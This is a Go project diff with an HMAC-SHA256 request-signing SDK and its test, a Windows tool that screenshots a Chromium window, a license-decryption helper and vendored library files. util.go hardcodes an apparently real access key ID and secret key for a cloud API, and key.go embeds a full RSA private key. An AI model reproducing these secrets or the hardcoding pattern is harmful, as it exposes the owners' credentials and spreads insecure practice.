import (
|
||||
"strconv"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
signatureHeader string = "x-signature"
|
||||
signatureMethodHeader string = "x-signature-method"
|
||||
signatureVersionHeader string = "x-signature-version"
|
||||
timestampHeader string = "x-timestamp"
|
||||
nonceHeader string = "x-nonce"
|
||||
contentTypeHeader string = "Content-Type"
|
||||
accessKeyIdHeader string = "x-accesskeyid"
|
||||
regionIdHeader string = "x-regionid"
|
||||
timezoneHeader string = "x-timezone"
|
||||
apiVersionHeader string = "x-api-version"
|
||||
securityTokenHeader string = "x-security-token"
|
||||
localeHeader string = "x-locale"
|
||||
hostHeader string = "Host"
|
||||
)
|
||||
|
||||
type Params struct {
|
||||
headers map[string]string
|
||||
requestMethod string
|
||||
uri string
|
||||
requestBody string
|
||||
secretKey string
|
||||
}
|
||||
|
||||
func NewParams() *Params {
|
||||
return &Params{headers: map[string]string{
|
||||
signatureMethodHeader: "HMAC-SHA256",
|
||||
signatureVersionHeader: "1.0",
|
||||
timestampHeader: time.Now().Format("2006-01-02T15:04:05Z"),
|
||||
nonceHeader: strconv.Itoa(int(time.Now().UnixNano())),
|
||||
contentTypeHeader: "application/json",
|
||||
}}
|
||||
}
|
||||
|
||||
func (p *Params) Headers() map[string]string {
|
||||
return p.headers
|
||||
}
|
||||
|
||||
func (p *Params) RequestMethod(requestMethod string) *Params {
|
||||
p.requestMethod = requestMethod
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *Params) Uri(uri string) *Params {
|
||||
p.uri = uri
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *Params) RequestBody(requestBody string) *Params {
|
||||
p.requestBody = requestBody
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *Params) SecretKey(secretKey string) *Params {
|
||||
p.secretKey = secretKey
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *Params) Signature(signature string) *Params {
|
||||
p.headers[signatureHeader] = signature
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *Params) RegionId(regionId string) *Params {
|
||||
p.headers[regionIdHeader] = regionId
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *Params) AccessKeyId(accesskeyId string) *Params {
|
||||
p.headers[accessKeyIdHeader] = accesskeyId
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *Params) SignatureMethod(signatureMethod string) *Params {
|
||||
p.headers[signatureMethodHeader] = signatureMethod
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *Params) SignatureVersion(signatureVersion string) *Params {
|
||||
p.headers[signatureVersionHeader] = signatureVersion
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *Params) Nonce(nonce string) *Params {
|
||||
p.headers[nonceHeader] = nonce
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *Params) Timestamp(timestamp string) *Params {
|
||||
p.headers[timestampHeader] = timestamp
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *Params) Timezone(timezone string) *Params {
|
||||
p.headers[timezoneHeader] = timezone
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *Params) ApiVersion(apiVersion string) *Params {
|
||||
p.headers[apiVersionHeader] = apiVersion
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *Params) SecurityToken(securityToken string) *Params {
|
||||
p.headers[securityTokenHeader] = securityToken
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *Params) Locale(locale string) *Params {
|
||||
p.headers[localeHeader] = locale
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *Params) ContentType(contentType string) *Params {
|
||||
p.headers[contentTypeHeader] = contentType
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *Params) Host(host string) *Params {
|
||||
p.headers[hostHeader] = host
|
||||
return p
|
||||
}
|
||||
|
||||
// Deprecated
|
||||
func (p *Params) PutParams(params map[string]string) *Params {
|
||||
return p.PutQueryParams(params)
|
||||
}
|
||||
|
||||
func (p *Params) PutQueryParams(params map[string]string) *Params {
|
||||
for k, v := range params {
|
||||
p.headers[k] = v
|
||||
}
|
||||
return p
|
||||
}
|
71
openapi/sdk/sign.go
Normal file
@ -0,0 +1,71 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"sort"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func GenSignature(param *Params) string {
|
||||
if param.Headers() == nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
if param.secretKey == "" {
|
||||
panic("secretKey不能为空")
|
||||
}
|
||||
|
||||
var sortedKeys []string
|
||||
for key, _ := range param.Headers() {
|
||||
sortedKeys = append(sortedKeys, key)
|
||||
}
|
||||
sort.Strings(sortedKeys)
|
||||
|
||||
var params []string
|
||||
for _, key := range sortedKeys {
|
||||
if key != signatureHeader {
|
||||
params = append(params, key+"="+strings.Trim(param.Headers()[key], " "))
|
||||
}
|
||||
}
|
||||
params = append(params, "RequestMethod="+strings.Trim(param.requestMethod, " "))
|
||||
params = append(params, "Uri="+strings.Trim(param.uri, " "))
|
||||
if len(param.requestBody) <= 0 {
|
||||
params = append(params, "RequestBody=")
|
||||
} else {
|
||||
body := param.requestBody
|
||||
// 去除空格
|
||||
body = strings.Replace(body, " ", "", -1)
|
||||
// 去除换行符
|
||||
body = strings.Replace(body, "\n", "", -1)
|
||||
// 去除制表符
|
||||
body = strings.Replace(body, "\t", "", -1)
|
||||
// 去除回车符
|
||||
body = strings.Replace(body, "\r", "", -1)
|
||||
params = append(params, "RequestBody="+body)
|
||||
}
|
||||
|
||||
return HmacSha256ToHex(param.secretKey+"&", strings.Trim(strings.Join(params, "&"), " "))
|
||||
}
|
||||
|
||||
// HmacSha256 计算HmacSha256
|
||||
// key 是加密所使用的key
|
||||
// data 是加密的内容
|
||||
func HmacSha256(key string, data string) []byte {
|
||||
mac := hmac.New(sha256.New, []byte(key))
|
||||
_, _ = mac.Write([]byte(data))
|
||||
|
||||
return mac.Sum(nil)
|
||||
}
|
||||
|
||||
// HmacSha256ToHex 将加密后的二进制转16进制字符串
|
||||
func HmacSha256ToHex(key string, data string) string {
|
||||
return hex.EncodeToString(HmacSha256(key, data))
|
||||
}
|
||||
|
||||
func RequestHeaders(params *Params) map[string]string {
|
||||
genSignature := GenSignature(params)
|
||||
params.Signature(genSignature)
|
||||
return params.Headers()
|
||||
}
|
52
openapi/sdk/sign_test.go
Normal file
@ -0,0 +1,52 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func Test_Sign(t *testing.T) {
|
||||
p :=
|
||||
NewParams().RegionId("region1").
|
||||
AccessKeyId("sccdsfnioasn8s7dcbsjkdc").
|
||||
SignatureMethod("HMAC-SHA256").
|
||||
SignatureVersion("1.0").
|
||||
Nonce("asc8-asd32-23sdfcsdc-sdc").
|
||||
Timestamp(time.Now().Format("2006-01-02T15:04:05Z")).
|
||||
Timezone("").
|
||||
ApiVersion("1.0").
|
||||
SecurityToken("").
|
||||
Locale("").
|
||||
ContentType("application/json").
|
||||
Host("api.cecloudcs.com").
|
||||
RequestMethod("GET").
|
||||
Uri("/om/opsdemo/instance").
|
||||
RequestBody("").
|
||||
SecretKey("123abc").
|
||||
// 扩展参数
|
||||
PutQueryParams(map[string]string{
|
||||
"size": "10",
|
||||
})
|
||||
headers := RequestHeaders(p)
|
||||
sign := GenSignature(p)
|
||||
fmt.Println(sign == headers[signatureHeader])
|
||||
}
|
||||
|
||||
func Test_string(t *testing.T) {
|
||||
body := "a b asdfaslkdfj" +
|
||||
"sdfa dsf"
|
||||
|
||||
fmt.Println(body)
|
||||
// 去除空格
|
||||
body = strings.Replace(body, " ", "", -1)
|
||||
// 去除换行符
|
||||
body = strings.Replace(body, "\n", "", -1)
|
||||
// 去除制表符
|
||||
body = strings.Replace(body, "\t", "", -1)
|
||||
// 去除回车符
|
||||
body = strings.Replace(body, "\r", "", -1)
|
||||
|
||||
fmt.Println(body)
|
||||
}
|
37
openapi/sdk/util.go
Normal file
@ -0,0 +1,37 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"log"
|
||||
"time"
|
||||
)
|
||||
|
||||
func Sign() map[string]string {
|
||||
p := NewParams().
|
||||
RegionId("dtcloud2").
|
||||
AccessKeyId("3eZJAmU6MvdnCadr6MQV").
|
||||
SignatureMethod("HMAC-SHA256").
|
||||
SignatureVersion("1.0").
|
||||
Nonce("dsfg-eebc-4ac2-9587-e8d258d871ce").
|
||||
Timestamp(time.Now().Format("2006-01-02T15:04:05Z")).
|
||||
Timezone("").
|
||||
ApiVersion("1.0").
|
||||
SecurityToken("").
|
||||
Locale("").
|
||||
ContentType("application/json").
|
||||
Host("openapi.user.zww.dtcloud.com").
|
||||
RequestMethod("GET").
|
||||
Uri("/api/account-tenant/v1/tenant/get").
|
||||
RequestBody("").
|
||||
SecretKey("iQmbqVNvzxsTPWWiaAbN3010mSjSrRA8FhZ8hxJq").
|
||||
// 扩展参数
|
||||
PutQueryParams(map[string]string{
|
||||
"pageSize": "10",
|
||||
"pageNum": "1",
|
||||
})
|
||||
headers := RequestHeaders(p)
|
||||
sign := GenSignature(p)
|
||||
log.Println(sign == headers[signatureHeader])
|
||||
log.Println(sign)
|
||||
log.Println(headers)
|
||||
return headers
|
||||
}
|
BIN
temp/hlw_temp_cloude.docx
Normal file
BIN
temp/lousao_temp.docx
Normal file
BIN
temp/temp.docx
Normal file
BIN
temp/zww_temp_cloude.docx
Normal file
8451
temp/zww_to5b2r.csv
Normal file
259
tool/jietu.go
Normal file
@ -0,0 +1,259 @@
|
||||
package tool
|
||||
|
||||
import (
|
||||
"image"
|
||||
"image/png"
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"github.com/kbinani/screenshot"
|
||||
)
|
||||
|
||||
// Windows API常量
|
||||
const (
|
||||
SRCCOPY = 0x00CC0020 // 复制操作的代码
|
||||
)
|
||||
|
||||
// Windows API结构体定义
|
||||
type RECT struct { // 矩形区域结构
|
||||
Left, Top, Right, Bottom int32
|
||||
}
|
||||
|
||||
type BITMAPINFOHEADER struct { // 位图信息头
|
||||
Size uint32
|
||||
Width int32
|
||||
Height int32
|
||||
Planes uint16
|
||||
BitCount uint16
|
||||
Compression uint32
|
||||
SizeImage uint32
|
||||
XPelsPerMeter int32
|
||||
YPelsPerMeter int32
|
||||
ClrUsed uint32
|
||||
ClrImportant uint32
|
||||
}
|
||||
|
||||
var (
|
||||
user32 = syscall.NewLazyDLL("user32.dll")
|
||||
procEnumWindows = user32.NewProc("EnumWindows")
|
||||
procGetWindowText = user32.NewProc("GetWindowTextW")
|
||||
titless string
|
||||
)
|
||||
|
||||
// 定义回调函数的类型
|
||||
type EnumWindowsProc func(hwnd uintptr, lParam uintptr) uintptr
|
||||
|
||||
// 枚举窗口的回调函数
|
||||
func enumWindowsProc(hwnd uintptr, lParam uintptr) uintptr {
|
||||
var buffer [256]uint16
|
||||
length, _, _ := procGetWindowText.Call(hwnd, uintptr(unsafe.Pointer(&buffer[0])), uintptr(len(buffer)))
|
||||
if length > 0 {
|
||||
title := syscall.UTF16ToString(buffer[:length])
|
||||
// fmt.Printf("Window Handle: %x, Title: %s\n", hwnd, title)
|
||||
if strings.Contains(title, "Chromium") && title != "GFoxChromiumCloseForm" {
|
||||
titless = title
|
||||
log.Println(titless)
|
||||
}
|
||||
}
|
||||
return 1 // 返回非零值以继续枚举
|
||||
}
|
||||
|
||||
func Jietu(path_img string) {
|
||||
// 将 Go 回调函数转换为 Windows 可调用的回调函数
|
||||
cb := syscall.NewCallback(enumWindowsProc)
|
||||
|
||||
// 调用 EnumWindows 函数
|
||||
procEnumWindows.Call(cb, 0)
|
||||
// 需要截图的窗口标题(根据实际情况修改)
|
||||
windowTitle := titless
|
||||
|
||||
// 加载Windows DLL
|
||||
user32 := syscall.NewLazyDLL("user32.dll")
|
||||
// gdi32 := syscall.NewLazyDLL("gdi32.dll")
|
||||
|
||||
// 获取API函数指针
|
||||
findWindow := user32.NewProc("FindWindowW")
|
||||
getWindowDC := user32.NewProc("GetWindowDC")
|
||||
getWindowRect := user32.NewProc("GetWindowRect")
|
||||
releaseDC := user32.NewProc("ReleaseDC")
|
||||
getDpiForWindow := user32.NewProc("GetDpiForWindow") // 获取窗口DPI
|
||||
|
||||
// createCompatibleDC := gdi32.NewProc("CreateCompatibleDC")
|
||||
// createCompatibleBitmap := gdi32.NewProc("CreateCompatibleBitmap")
|
||||
// selectObject := gdi32.NewProc("SelectObject")
|
||||
// bitBlt := gdi32.NewProc("BitBlt")
|
||||
// deleteDC := gdi32.NewProc("DeleteDC")
|
||||
// deleteObject := gdi32.NewProc("DeleteObject")
|
||||
// getDIBits := gdi32.NewProc("GetDIBits")
|
||||
|
||||
// 1. 查找目标窗口句柄
|
||||
windowName := syscall.StringToUTF16Ptr(windowTitle)
|
||||
hwnd, _, _ := findWindow.Call(0, uintptr(unsafe.Pointer(windowName)))
|
||||
if hwnd == 0 {
|
||||
panic("找不到指定窗口")
|
||||
}
|
||||
|
||||
// 2. 获取窗口设备上下文(DC)
|
||||
hdc, _, _ := getWindowDC.Call(hwnd)
|
||||
if hdc == 0 {
|
||||
panic("获取窗口DC失败")
|
||||
}
|
||||
defer releaseDC.Call(hwnd, hdc) // 确保释放DC
|
||||
|
||||
// 3. 获取窗口尺寸
|
||||
var rect RECT
|
||||
ret, _, _ := getWindowRect.Call(hwnd, uintptr(unsafe.Pointer(&rect)))
|
||||
if ret == 0 {
|
||||
panic("获取窗口尺寸失败")
|
||||
}
|
||||
|
||||
// 4. 获取窗口DPI
|
||||
dpi, _, _ := getDpiForWindow.Call(hwnd)
|
||||
if dpi == 0 {
|
||||
dpi = 96 // 默认DPI
|
||||
}
|
||||
|
||||
// 5. 计算实际窗口尺寸(考虑DPI缩放)
|
||||
scaleFactor := float64(dpi) / 216
|
||||
|
||||
width := int(float64(rect.Right-rect.Left) / scaleFactor)
|
||||
height := int(float64(rect.Bottom-rect.Top) / scaleFactor)
|
||||
log.Println(width, height)
|
||||
// // 6. 创建内存兼容DC
|
||||
// memHdc, _, _ := createCompatibleDC.Call(hdc)
|
||||
// if memHdc == 0 {
|
||||
// panic("创建兼容DC失败")
|
||||
// }
|
||||
// defer deleteDC.Call(memHdc)
|
||||
|
||||
// // 7. 创建兼容位图
|
||||
// hBitmap, _, _ := createCompatibleBitmap.Call(hdc, uintptr(width), uintptr(height))
|
||||
// if hBitmap == 0 {
|
||||
// panic("创建兼容位图失败")
|
||||
// }
|
||||
// defer deleteObject.Call(hBitmap)
|
||||
|
||||
// // 8. 将位图选入内存DC
|
||||
// oldObj, _, _ := selectObject.Call(memHdc, hBitmap)
|
||||
// if oldObj == 0 {
|
||||
// panic("选定位图失败")
|
||||
// }
|
||||
// defer selectObject.Call(memHdc, oldObj) // 恢复原始对象
|
||||
|
||||
// // 9. 执行位块传输(截图操作)
|
||||
// ret, _, _ = bitBlt.Call(
|
||||
// memHdc, // 目标DC
|
||||
// 0, 0, // 目标坐标
|
||||
// uintptr(width), // 宽度
|
||||
// uintptr(height), // 高度
|
||||
// hdc, // 源DC
|
||||
// 0, 0, // 源坐标
|
||||
// SRCCOPY, // 操作类型
|
||||
// )
|
||||
// if ret == 0 {
|
||||
// panic("截图操作失败")
|
||||
// }
|
||||
|
||||
// // 10. 准备位图信息头(设置为top-down格式)
|
||||
// bmi := BITMAPINFOHEADER{
|
||||
// Size: uint32(unsafe.Sizeof(BITMAPINFOHEADER{})),
|
||||
// Width: int32(width),
|
||||
// Height: -int32(height), // 负数表示top-down格式
|
||||
// Planes: 1,
|
||||
// BitCount: 32, // 32位色深(BGRA)
|
||||
// Compression: 0, // 无压缩
|
||||
// }
|
||||
|
||||
// // 11. 创建像素缓冲区
|
||||
// pixels := make([]byte, width*height*4)
|
||||
|
||||
// // 12. 获取位图数据
|
||||
// ret, _, _ = getDIBits.Call(
|
||||
// memHdc,
|
||||
// hBitmap,
|
||||
// 0,
|
||||
// uintptr(height),
|
||||
// uintptr(unsafe.Pointer(&pixels[0])),
|
||||
// uintptr(unsafe.Pointer(&bmi)),
|
||||
// 0,
|
||||
// )
|
||||
// if ret == 0 {
|
||||
// panic("获取像素数据失败")
|
||||
// }
|
||||
|
||||
// // 13. 创建图像对象并转换颜色格式
|
||||
// img := image.NewRGBA(image.Rect(0, 0, width, height))
|
||||
// for y := 0; y < height; y++ {
|
||||
// for x := 0; x < width; x++ {
|
||||
// idx := (y*width + x) * 4
|
||||
// // Windows返回BGRA格式,转换为RGBA
|
||||
// img.Set(x, y, color.RGBA{
|
||||
// R: pixels[idx+2],
|
||||
// G: pixels[idx+1],
|
||||
// B: pixels[idx],
|
||||
// A: pixels[idx+3],
|
||||
// })
|
||||
// }
|
||||
// }
|
||||
|
||||
// // 14. 保存为PNG文件
|
||||
// file, err := os.Create("window_screenshot.png")
|
||||
// if err != nil {
|
||||
// panic("创建文件失败: " + err.Error())
|
||||
// }
|
||||
// defer file.Close()
|
||||
|
||||
// if err := png.Encode(file, img); err != nil {
|
||||
// panic("保存PNG失败: " + err.Error())
|
||||
// }
|
||||
|
||||
//自定义截图
|
||||
// img, err := screenshot.Capture(0, 0, width, height)
|
||||
// if err != nil {
|
||||
// panic(err)
|
||||
// }
|
||||
// save(img, "自定义.png")
|
||||
//获取所有活动屏幕
|
||||
// n := screenshot.NumActiveDisplays()
|
||||
// if n <= 0 {
|
||||
// panic("没有发现活动的显示器")
|
||||
// }
|
||||
// //全屏截取所有活动屏幕
|
||||
// if n > 0 {
|
||||
// for i := 0; i < n; i++ {
|
||||
// img, err := screenshot.CaptureDisplay(i)
|
||||
// if err != nil {
|
||||
// panic(err)
|
||||
// }
|
||||
// fileName := fmt.Sprintf("第%d屏幕截图.png", i)
|
||||
// save(img, fileName)
|
||||
// }
|
||||
// }
|
||||
|
||||
// 获取第一个屏幕显示范围
|
||||
var new image.Rectangle = image.Rect(22, 15, width+5, height+3)
|
||||
img, err := screenshot.CaptureRect(new)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
save(img, path_img)
|
||||
// //使用Union获取指定屏幕 矩形最小点和最大点
|
||||
// var all image.Rectangle = image.Rect(0, 0, 0, 0)
|
||||
// bounds1 := screenshot.GetDisplayBounds(0)
|
||||
// all = bounds1.Union(all)
|
||||
// fmt.Println(all.Min.X, all.Min.Y, all.Dx(), all.Dy())
|
||||
|
||||
}
|
||||
|
||||
// save *image.RGBA to filePath with PNG format.
|
||||
func save(img *image.RGBA, filePath string) {
|
||||
file, err := os.Create(filePath)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
defer file.Close()
|
||||
png.Encode(file, img)
|
||||
}
|
105
tool/key.go
Normal file
@ -0,0 +1,105 @@
|
||||
package tool
|
||||
|
||||
/*
|
||||
@Author : 李星辰
|
||||
@Email : 1352113079@qq.com
|
||||
@Time : 2025/03/20 16:43
|
||||
@File : key.go
|
||||
@Project : key
|
||||
@Desc :
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"crypto/rsa"
|
||||
"crypto/sha1"
|
||||
"crypto/x509"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"encoding/pem"
|
||||
"errors"
|
||||
"log"
|
||||
)
|
||||
|
||||
// 私钥
|
||||
var privateKey = "-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEA7+q7OnKKXHyX81/mkfIhSpeRMXdVh/m5ZUlCEKMRO0BQKr/D\n9M60oYyPoqMiKY85iXp2ImGzudKuxcDOAIQRB1esP1LB58XcS9G3iFU6nFTN6hC2\nj8Izy+XDkGyPx1BDuQUj/TQGsDGittDuvRPle6GSUL24eNbCp/mp29aON38+Di4R\n8fAlTbajHRRf+stBXmJLLd7mvWkB8DEi8eV7dPQ4MzTM9bUNdClD0jiQnlUCfODj\nS+Nu2UOk/+DYgJfYPARPEvHP/Rv1tkuBYZ1J0Pfre2Sq52LdHVCMw5bbeR3z1i/l\nsD4cs9B6LZtPHZIo8ntC0PrgT3PjRaF4LHFc5QIDAQABAoIBAAz2fNlCmRE4NimT\nM+0MzRmvqMuoa/ml14uOcsBdXy/5YJt+swLGLGJSKuyZrd3a/DveXwWqi8Btjr3m\nlfrXJ+hip07glNOGEEoUcbsvB7SsrFeKQaLw1kWdC30BMJ+PSal0iqZCql3YwLbq\nAQw8R/jvGO294nq899WFmtTi+dorrhG99raYcAHNfBnokTs9U2hOmwCwxGcDnQUJ\nTO00RcX/kYMarWbrTS72zE+UwRuokdbw8pBVgDOM3c72qmQwOj+Pwo2S7n4Do55p\nyhPf1ysUJZeScJqITkyjMa0tGfERkKvpNM3HBbcwX+gG+ZAG5yFf/Of99CIXBeH7\nlHvIGL0CgYEA99tU7KIX7z3tZZxIxrYQsudhrCqkO09h+yVbwCoacnOtGpS9rxK2\nw88JP8sNhztneiMgzoncHhsaAwVEopD7Rb+78Ei8yud4/AmzoxIDM56bkGnalItt\ng3OLPR+u/dyrhIhh7ymchytgbX76nmYLwjzejWRK9kRnYMrUL3mR5ZsCgYEA98ye\njZgzsb4g3rHV/8xQ0CLZV5AUDpA46IaQIQbkoSscySDyILxDnLGiM20+y8Krx5KX\nIAQHteGVLuVkqWc3eIvl5Rd02jeIr6Or2+CPrEn6kCdxWXOtkpBudgCtcSenA0Jj\n/2tjX7q/yPvrsNyBw0zrRimbTQNfy+6WKSbLL38CgYEAiAN4qxKYh9U3/VayKTmo\nGEUZOF1+Gn4JisSJgP6Z3MzV5YxSO0zNts5aiQNovRlAQ6obSrwkavD8aUPu0jc1\nbKU3ATkpQT+dCNJaHda4ow8a1zj/lhydUFGLy1MjuHPsO6KL+66eEx8en3fbGClv\nsnustXKgIFyRTnB/2D2ibpkCgYEA9pfXyMyH1P+BsluCvHXUjevAIdUtQHjhSPRw\nBY3Yg1Jl6PkyOsVe+1YCNe8nKJpnW8lTPvcDvUnprat2Cua+WuXNN7ep/2Z4TWEx\nKzRDhY5xHHdD42KsfkfgxOlTsGFnYGT3Ijz5vVAYfqfEGlK1h2bKUx4gf/k1obmi\nEP2cAX0CgYEA094N2loQbE7DHcc88ACqUB5yl93X1LhrzyiHWanJm8yGk1c17fN/\n/yE/PiGvB+kNPFV95JhbBRjVl3bRHV4a94dbgSeuaSrfDEp08l4mSqTnp08I6Z/7\naNLqThTjLOvcEjq1MahY+dzmK46GtE2L2NiYm+CKNbEyqE55pq6mWrk=\n-----END RSA PRIVATE KEY-----"
|
||||
|
||||
func Keyprin(b64CipherTest string) Auth_s {
|
||||
pri_key, err := ReadParsePrivaterKey(privateKey)
|
||||
if err != nil {
|
||||
log.Println("err:", err)
|
||||
}
|
||||
//解码base64
|
||||
decodeBytes, err := base64.StdEncoding.DecodeString(b64CipherTest)
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
// log.Println([]byte(decodeBytes))
|
||||
|
||||
// 使用私钥解密密文
|
||||
decryptedPlainText, err := rsa.DecryptOAEP(sha1.New(), rand.Reader, pri_key, decodeBytes, nil)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
var auth Auth_s
|
||||
if err != json.Unmarshal(decryptedPlainText, &auth) {
|
||||
log.Println(err)
|
||||
}
|
||||
// log.Printf("Decrypted plain text: %v\n", auth.Initial_time)
|
||||
// log.Println(auth.Initial_time)
|
||||
// log.Println(auth.End_time)
|
||||
// log.Println(auth.Surplus_time)
|
||||
return auth
|
||||
}
|
||||
|
||||
// 授权信息
|
||||
type Auth_s struct {
|
||||
SerialNumber string `json:"serialNumber"` //主板编号
|
||||
Username string `json:"username"` //用户名
|
||||
Initial_time string `json:"initial_time"` //初始时间
|
||||
End_time string `json:"end_time"` //结束时间
|
||||
Surplus_time string `json:"surplus_time"` //授权总时长/天
|
||||
Status string `json:"status"` //状态
|
||||
}
|
||||
|
||||
// 解密
|
||||
func KeyStr(b64CipherTest string) string {
|
||||
pri_key, err := ReadParsePrivaterKey(privateKey)
|
||||
if err != nil {
|
||||
log.Println("err:", err)
|
||||
}
|
||||
//解码base64
|
||||
decodeBytes, err := base64.StdEncoding.DecodeString(b64CipherTest)
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
// log.Println([]byte(decodeBytes))
|
||||
|
||||
// 使用私钥解密密文
|
||||
decryptedPlainText, err := rsa.DecryptOAEP(sha1.New(), rand.Reader, pri_key, decodeBytes, nil)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return string(decryptedPlainText)
|
||||
}
|
||||
|
||||
// 读取私钥文件,解析出私钥对象
|
||||
func ReadParsePrivaterKey(filename string) (*rsa.PrivateKey, error) {
|
||||
// 1、读取私钥文件,获取私钥字节
|
||||
// privateKeyBytes, err := os.ReadFile(filename)
|
||||
privateKeyBytes := []byte(filename)
|
||||
// if err != nil {
|
||||
// return nil, err
|
||||
// }
|
||||
// 2、对私钥文件进行编码,生成加密块对象
|
||||
block, _ := pem.Decode([]byte(privateKeyBytes))
|
||||
if block == nil {
|
||||
return nil, errors.New("私钥信息错误!")
|
||||
}
|
||||
// 3、解析DER编码的私钥,生成私钥对象
|
||||
privateKey, err := x509.ParsePKCS1PrivateKey(block.Bytes)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return privateKey, nil
|
||||
}
|
40
tool/timestamp.go
Normal file
@ -0,0 +1,40 @@
|
||||
package tool
|
||||
|
||||
import (
|
||||
"log"
|
||||
"time"
|
||||
)
|
||||
|
||||
func Timestamp(a string) int64 {
|
||||
switch {
|
||||
case a == "second":
|
||||
timestamp := time.Now().Unix() // 获取秒级时间戳
|
||||
// log.Printf("Current Unix Timestamp: %v\n", timestamp)
|
||||
return timestamp
|
||||
case a == "millisecond":
|
||||
millisecondTimestamp := time.Now().UnixMilli() //获取当前时间的毫秒级时间戳
|
||||
// log.Printf("Current Millisecond Timestamp: %v\n", millisecondTimestamp)
|
||||
return millisecondTimestamp
|
||||
case a == "microsecond":
|
||||
microsecondTimestamp := time.Now().UnixMicro() // 获取当前时间的微秒级时间戳
|
||||
// fmt.Printf("Current Microsecond Timestamp: %v\n", microsecondTimestamp)
|
||||
return microsecondTimestamp
|
||||
case a == "nanosecond":
|
||||
nanosecondTimestamp := time.Now().UnixNano() // 获取当前时间的纳秒级时间戳
|
||||
// fmt.Printf("Current Microsecond Timestamp: %v\n", nanosecondTimestamp)
|
||||
return nanosecondTimestamp
|
||||
default:
|
||||
log.Println("时间戳生成失败")
|
||||
return int64(0)
|
||||
}
|
||||
}
|
||||
func Timestamp_all() map[string]interface{} {
|
||||
data := map[string]interface{}{
|
||||
"timestamp": time.Now().Unix(), // 获取秒级时间戳
|
||||
"millisecondTimestamp": time.Now().UnixMilli(), //获取当前时间的毫秒级时间戳
|
||||
"microsecondTimestamp": time.Now().UnixMicro(), // 获取当前时间的微秒级时间戳
|
||||
"nanosecondTimestamp": time.Now().UnixNano(), // 获取当前时间
|
||||
"nowtime": time.Now().Format("2006-01-02 15:04:05"),
|
||||
}
|
||||
return data
|
||||
}
|
27
vendor/filippo.io/edwards25519/LICENSE
generated
vendored
Normal file
@ -0,0 +1,27 @@
|
||||
Copyright (c) 2009 The Go Authors. All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above
|
||||
copyright notice, this list of conditions and the following disclaimer
|
||||
in the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
* Neither the name of Google Inc. nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
14
vendor/filippo.io/edwards25519/README.md
generated
vendored
Normal file
@ -0,0 +1,14 @@
|
||||
# filippo.io/edwards25519
|
||||
|
||||
```
|
||||
import "filippo.io/edwards25519"
|
||||
```
|
||||
|
||||
This library implements the edwards25519 elliptic curve, exposing the necessary APIs to build a wide array of higher-level primitives.
|
||||
Read the docs at [pkg.go.dev/filippo.io/edwards25519](https://pkg.go.dev/filippo.io/edwards25519).
|
||||
|
||||
The code is originally derived from Adam Langley's internal implementation in the Go standard library, and includes George Tankersley's [performance improvements](https://golang.org/cl/71950). It was then further developed by Henry de Valence for use in ristretto255, and was finally [merged back into the Go standard library](https://golang.org/cl/276272) as of Go 1.17. It now tracks the upstream codebase and extends it with additional functionality.
|
||||
|
